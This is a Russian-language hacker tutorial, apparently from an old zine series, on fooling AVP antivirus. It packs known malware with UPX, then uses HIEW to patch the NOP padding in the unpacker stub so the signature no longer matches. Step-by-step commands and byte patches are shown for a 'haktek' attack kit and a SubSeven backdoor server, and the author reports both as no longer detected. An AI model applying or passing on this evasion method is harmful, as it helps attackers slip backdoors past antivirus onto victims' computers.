Продолжая цикл статей о "надувке" AVP
изменёнными запакованными файлами, я хотел
бы поблагодарить Dr.Golova, товарища Gray<JacK>Flint'a
за предоставленный кусочек идеи и, в какой-то
степени, моего преподАвателя по "банковскому
делу". Вполне возможно, что я не "открою
Америку" (а зачем 😉 ?) для "наших
руководящих товарищей", не обессудьте.
В данной статье НЕ рассказывается о
манипуляциях с EP (aka точка входа). Да оно и не
нужно! Сразу предупреждаю: в данной статье
говориться ТОЛЬКО про антивирус AVP! За
обнаружение вируса или трояна ДРУГИМ
антивирусом я ответственности НЕ НЕСУ 😉 .
Например, есть, по крайней мере, один "страж
порядка", который обнаруживает мои
хЫтроЩЩи 🙁 Естественно, тут рекламировать
его я НЕ собираюсь.
Итак! Что понадобится? Отвечаю:
1-st: голова на плечах aka "соображалка"
2-nd: HIEW 6.55
3-d : UPX 1.20 (они "уехали" с upx.tsx.org -> ищите
на http://wildsau.idv.uni-linz.ac.at/mfx/upx.html)
4-th: ТО, на чем мона запустить пункты 2 и 3 😉
ПРИМЕР 1
haktek v1.1 - ну чего-то там "в одном FLAKоне":
мэйлбомбер, сканнер... СТАРЬЁ! Почему-то "сидит"
в AVP'шной базе как злостный вирус! (но пока
что мой комп ещё жив).
1-е - запаковка UPX:
upx.exe -9 haktek.ex_
опция "-9" означает, что сжатие будет
МАКСИМАЛЬНО ВОЗМОЖНЫМ.
2-е - "хьювирование":
hiew32.exe haktek.ex_
жмем F4 => DECODE
F8 => F5 (смотрим "сводку" об X-ze и "прыгаем"
на Entry Point)
Видим что то типа этого:
.004ABBC0: 60 pushad
.004ABBC1: BE15904700 mov esi,000479015 ;" GР"
.004ABBC6: 8DBEEB7FF8FF lea edi,[esi][0FFF87FEB]
.004ABBCC: 57 push edi
.004ABBCD: 83CDFF or ebp,-001 ;""
.004ABBD0: EB10 jmps .0004ABBE2 -------- (1)
.004ABBD2: 90 nop
.004ABBD3: 90 nop
.004ABBD4: 90 nop
.004ABBD5: 90 nop
.004ABBD6: 90 nop
.004ABBD7: 90 nop
.004ABBD8: 8A06 mov al,[esi]
.004ABBDA: 46 inc esi
.004ABBDB: 8807 mov [edi],al
.004ABBDD: 47 inc edi
.004ABBDE: 01DB add ebx,ebx
.004ABBE0: 7507 jne .0004ABBE9 -------- (2)
.004ABBE2: 8B1E mov ebx,[esi]
Итак - это начало распаковщика. По его "внешнему
виду" AVP и определяет ТИП. Вот то, что
находится с 004ABBD0 по 004ABBD7, нас и интересует!
Как известно, nop ничего не делает (no operation), но
для чего оно тут нужно? Ответ:
компилятором или самим пакером
резервируется место под код.
Предлагаю изменить команды так (это,
конечно, ПОЛНОЕ издевательство над
оптимизацией, извращение, но зато полностью
заняло свободные байты):
.004ABBD0: 6A00 push 000 ;-> толкаем в стек 0
.004ABBD2: 58 pop eax ;-> помещаем 0 в eax
.004ABBD3: 91 xchg ecx,eax ;-> обмениваем содержимое eax
на ecx и наоборот
.004ABBD4: 85C9 test ecx,ecx ;-> равен ли ноль нолю aka zf=1
??? 😉
.004ABBD6: 740A je .0004ABBE2 ;-> если да, то "прыгаем"
Для тех, кто не понял: мы "размазали" 2-х
байтную команду jmp на 8 (!) байт.
Вот, в принципе, и всё! НЕ забудьте нажать F9
для сохранения результатов.
Включаем AVP (можно даже с режимом изб.
сканирования) и видим, что haktek.exe В ПОРЯДКЕ!
ПРИМЕР 2
1 - е:
upx.exe -9 server.ex_
2 - е:
hiew32.exe server.ex_
F4 => DECODE; F8 => F5; Видим:
.0042B74A: EB0E jmps .00042B75A
.0042B74C: 90 nop
.0042B74D: 90 nop
.0042B74E: 90 nop
.0042B74F: 90 nop
.0042B750: 8A06 mov al,[esi]
Нда-с, на сей раз нам дано чуть меньше "нопов"
для развлекалочки. Ну ничего, jmp можно "размазать"
и так:
.0042B74A: 33C0 xor eax,eax ;->пусть eax будет равен 0
.0042B74C: 85C0 test eax,eax ;->так равен ли eax 0, т.е. zf=1?
.0042B74E: 740A je .00042B75A ;-> ну если равен -
переходим.
Опять сохраняем...
3-е - тест:
Ну на этот раз Backdoor.SubSeven.22.b1 НЕ ОБНАРУЖЕН.
ВСЁ!!!
Последнее напутствие: в этой статье
рассказано только об одной "оптимизации"
анпакера, мною обнаруженной, но, наверняка,
вы найдёте и другие. Например, пустые циклы,
"размазки" компилятора... Ведь главное
изменить как можно большее количество байт
анпакера, чтобы AVP "бросил" его
проверку. Поэтому экспериментируйте,
фантазируйте, ищите другие пакеры...